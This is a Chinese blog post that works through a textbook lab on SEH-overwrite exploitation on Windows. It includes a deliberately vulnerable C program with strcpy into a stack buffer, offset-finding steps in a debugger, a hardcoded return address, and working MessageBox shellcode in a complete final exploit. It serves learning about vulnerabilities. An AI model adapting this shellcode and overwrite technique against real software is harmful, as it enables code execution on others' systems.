zoukankan      html  css  js  c++  java
  • 旧书重温:0day2【11】第6章 狙击windows的异常处理

    昨晚经过一番努力,又把第六章的内容温习了一遍!

    随手,做了一个实验!狙击windows的异常处理, 顺便也把过程记录了下来!省事!(有图)

    今早,论坛一直无法打开!

    就推迟到了现在! 哈哈 


    正题:

    第一个实验就是 狙击windows的异常处理

    那么首先,你必须理解什么是windows异常处理

    <ignore_js_op> 
    <ignore_js_op> 
    <ignore_js_op> 
    <ignore_js_op> 

    接下来我们构造 示例代码
    1. #include "stdafx.h"
    2. #include <windows.h>
    3. #include <stdio.h>
    4. char shellcode[] = " ";//
    5. DWORD  MyExpectionHandler(void)
    6. {
    7.         printf("this is my expection handler ! ");
    8.         getchar();
    9.         return 0;
    10. }
    11. //
    12. void test(char * input)
    13. {
    14.         char buf[200]={0};
    15.         int zero =0;
    16.         __asm int 3
    17.         __try
    18.         {
    19.                 strcpy(buf,input);
    20.                 zero =4/zero;
    21.         }
    22.         __except(MyExpectionHandler())
    23.         {
    24.                 
    25.         }
    26. }
    27. int APIENTRY WinMain(HINSTANCE hInstance,
    28.                      HINSTANCE hPrevInstance,
    29.                      LPSTR     lpCmdLine,
    30.                      int       nCmdShow)
    31. {
    32.         // TODO: Place code here.
    33.         
    34.         test(shellcode);
    35.         return 0;
    36. }
    复制代码
    以上代码是我们构造的有溢出漏洞的代码,其中shellcode还没确定!

    其test函数中的strcpy直接将shellcode拷贝到buf中,当shellcode长度,足够长时

    就会溢出,溢出数据可以淹没我们添加的异常处理表数据

    接下来的除0,将导致异常

    这时候,异常处理开始执行!

    如果我们的溢出的数据控制了异常处理结构,就可以控制流程执行我们的代码!


    接下来的思路是首先od调试,来确定多长可以淹没我们想控制的地方

    注意:我们必须使用int3来中断,od附加调试!不能直接用vc调试!原因:异常出现,vc将捕获异常!而不执行我们的异常处理

    足够长的shellcode
    1. char shellcode[] =
    2. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    3. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    4. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    5. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    6. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    7. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    8. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    9. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    10. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    11. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    12. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    13. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
    14. //共 20×12 = 240 
    复制代码
    <ignore_js_op> 
    调试下,当执行过rep movs (这一句相当strcpy)后,栈数据区,被我们的90909090填充! 通过od标注,我们发现我们的代码

    /240- 4×7 +1  = 213 处为“SHE处理程序”

    我们通过溢出覆盖此处
    1. char shellcode[] = 
    2. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    3. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    4. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    5. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    6. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    7. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    8. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    9. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    10. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    11. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    12. //200
    13. "x90x90x90x90x90x90x90x90x90x90x90x90x91x92x93x94";
    复制代码
    <ignore_js_op> 

    这样调试,可以91-94处覆盖“SHE处理程序” 处

    接下来我们来将91-94替换我们的shellcode地址

    <ignore_js_op> 
    我们可以发现 我们的shellcode地址为:0x0012FE4C
    1. char shellcode[] = 
    2. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    3. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    4. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    5. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    6. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    7. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    8. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    9. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    10. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    11. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    12. //200
    13. "x90x90x90x90x90x90x90x90x90x90x90x90x4CxFEx12x00";
    复制代码
    在0x12FE4C处下硬件执行断点。

    我们将捕获到此断点
    <ignore_js_op> 

    这说明我们控制啦,CPU,将shellcode 填充我们的 msg shellcode .
    1. char shellcode[] = 
    2. "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
    3. "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
    4. "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
    5. "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
    6. "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
    7. "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
    8. "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
    9. "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
    10. "xFCx53xFFx57xF8x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    11. "x90x90"
    12. //22 * 9 = 198
    13. //200
    14. "x90x90x90x90x90x90x90x90x90x90x90x90x4CxFEx12x00";
    复制代码
    为了不破坏代码布局,我直接把断点int 3 改为nop

    运行 后 弹出 msg 

    <ignore_js_op> 

    最后附上 最终版代码
    1. // 0day_6.cpp : Defines the entry point for the application.
    2. //
    3. #include "stdafx.h"
    4. #include <windows.h>
    5. #include <stdio.h>
    6. char shellcode[] = 
    7. "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
    8. "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
    9. "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
    10. "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
    11. "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
    12. "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
    13. "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
    14. "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
    15. "xFCx53xFFx57xF8x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    16. "x90x90"
    17. //22 * 9 = 198
    18. //200
    19. "x90x90x90x90x90x90x90x90x90x90x90x90x4CxFEx12x00";
    20. //                                                                                         
    21. // 20*12 = 240
    22.                                         
    23. DWORD  MyExpectionHandler(void)
    24. {
    25.         printf("this is my expection handler ! ");
    26.         getchar();
    27.         return 0;
    28. }
    29. //
    30. void test(char * input)
    31. {
    32.         char buf[200]={0};
    33.         int zero =0;
    34.         __asm nop
    35.         __try
    36.         {
    37.                 strcpy(buf,input);
    38.                 zero =4/zero;
    39.         }
    40.         __except(MyExpectionHandler())
    41.         {
    42.                 
    43.         }
    44. }
    45. int APIENTRY WinMain(HINSTANCE hInstance,
    46.                      HINSTANCE hPrevInstance,
    47.                      LPSTR     lpCmdLine,
    48.                      int       nCmdShow)
    49. {
    50.         // TODO: Place code here.
    51.         
    52.         test(shellcode);
    53.         return 0;
    54. }
    复制代码
    PS: 这个只是实验!源自书《0day安全:软件漏洞分析技术》 

    重现漏洞! 很基础!

    有兴趣的同学可以一起学习下
  • 相关阅读:
    sql server 2008 不允许保存更改,您所做的更改要求删除并重新创建以下表 的解决办法
    给 textbox TextMode="password" 赋值后显示出来
    mysql limit分页优化方法分享
    jquery iframe取得元素与自适应高度
    js动态改变iframe的高度
    完全解读 margin 标签
    Page.ClientScript、ClientScript、ScriptManager、ClientScriptManager等的详细解说
    Asp.net C# 使用Newtonsoft.Json 实现DataTable转Json格式数据
    Newtonsoft.Json(Json.net)的基本用法
    利用navicat创建存储过程、触发器和使用游标的简单实例
  • 原文地址:https://www.cnblogs.com/witty/p/0day2_6_SHE.html
Copyright © 2011-2022 走看看